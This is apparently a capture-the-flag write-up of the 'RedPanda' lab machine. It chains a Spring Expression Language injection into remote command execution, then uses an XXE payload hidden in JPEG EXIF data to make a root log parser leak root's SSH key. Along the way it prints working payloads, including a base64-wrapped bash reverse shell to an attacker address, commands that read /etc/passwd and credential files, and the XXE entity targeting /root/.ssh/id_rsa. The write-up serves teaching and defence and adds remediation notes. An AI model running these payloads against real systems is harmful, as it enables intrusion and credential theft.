RedPanda
Summary
The RedPanda target exposed the Red Panda Search Spring Boot application on port 8080 whose search parameter evaluated unsanitized user input as Spring Expression Language (SpEL), giving any unauthenticated visitor the ability to execute arbitrary operating-system commands. I exploited this to run commands as the woodenk service account — which also holds the logs group — read the application source, which carried a hardcoded SSH password for that account, and read the user flag directly from disk.
Post-exploitation enumeration then uncovered a root-owned Java log-parser utility that runs on a periodic schedule, consumes application logs from a path writable by the logs group, and uses the JDOM2 library to parse image metadata XML without disabling external-entity processing. Because the parser resolved external entities and its log file was group-writable, an XML payload smuggled through a JPEG's EXIF metadata made that root process read root's own SSH private key and write it somewhere readable, which gave a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for woodenk>"Attack path — how the box was taken
Exact commands 2
Service-version and default-script scan of both open ports.
$ nmap -sV -sC -p 22,8080 $TARGETRetrieve the application landing page to enumerate visible endpoints and technology indicators.
$ curl -sS http://$TARGET:8080/name parameter and reflects its value inside the rendered HTML response. Submitting the Spring Expression Language arithmetic probe *{7*7} caused the server to return 49 in the 'You searched for' field, confirming that user input was being evaluated by the SpEL engine rather than treated as a literal string. The injection point required no authentication and no prior knowledge of the application.Exact commands 2
SSTI arithmetic probe — a response containing '49' confirms expression evaluation.
$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode 'name=*{7*7}' | sed -n '1,120p'Secondary probe using a String method call to confirm SpEL method invocation is permitted.
$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode 'name=*{"test".toUpperCase()}'FixDisable Spring Expression Language evaluation of user-supplied search inputCritical
name POST parameter directly into a Spring Boot template context, causing the SpEL engine to evaluate it as executable code. Any unauthenticated visitor could invoke arbitrary Java methods — including Runtime.exec() — and run OS commands as the web application's service account.Exact commands 2
RCE proof-of-concept: executes 'id' and returns stdout in the response. Substitute any shell command.
$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}" | sed -n '1,120p'Enumerate local users to identify service accounts and home directories.
$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd').getInputStream())}"bash -c got past the character filtering, and MainController.java came back with a set of SSH credentials hardcoded in it for the woodenk account. Those credentials worked directly against SSH, giving a stable interactive session instead of the stateless web shell. One difference matters later: the SSH session runs under woodenk's primary group only, while the web process also carries the logs supplementary group — so the log file that triggers the root path stays writable from the web shell and not from SSH.Exact commands 4
Built here, decoded there. Base64 gets the payload past a filter that rejects the characters a shell one-liner is made of.
$ B64=$(printf '%s' "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" | base64 -w0)Base64 the command first; the filter blocks the characters a plain payload needs.
$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','base64 -d<<<$B64|bash'})}"Run through the RCE above. The SSH password is hardcoded in this file.
$ cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.javaThe recovered password authenticates directly over SSH.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no woodenk@$TARGET 'id'Exact commands 1
Extracts the flag value from the HTML response. Returns <user.txt>.
$ curl -sS -X POST http://$TARGET:8080/search --data-urlencode "name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('cat /home/woodenk/user.txt').getInputStream())}" | perl -0777 -ne 'if(/You searched for:\s*(.*?)\s*<\/h2>/s){$x=$1;$x=~s/<[^>]+>//g;$x=~s/^\s+|\s+$//g;print "$x\n"} else {print}'Exact commands 4
EXIF carries the XML past the character filter that rejects it in the request itself.
$ exiftool -Artist='<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % p SYSTEM "file:///root/.ssh/id_rsa"><!ENTITY % w "<!ENTITY e SYSTEM \'file:///tmp/evil_creds.xml\'>">%p;%w;]><r>&e;</r>' panda.jpgAppend from the web shell, not the SSH session — only the web process holds the logs group.
$ printf '%s\n' "$(date +%d/%m/%Y) || /opt/panda_search/src/main/resources/static/img/panda.jpg" >> /opt/panda_search/redpanda.logThe parser ran as root and left root's private key in the output it wrote.
$ scp woodenk@$TARGET:/tmp/evil_creds.xml . && sed -n '/BEGIN OPENSSH/,/END OPENSSH/p' evil_creds.xml > root_key && chmod 600 root_keyThe recovered key authenticates as root.
$ ssh -i root_key root@$TARGET 'id; cat /root/root.txt'FixDisable XML external entity processing in LogParser and run the service as a least-privilege accountCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache Tomcat (language: en) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.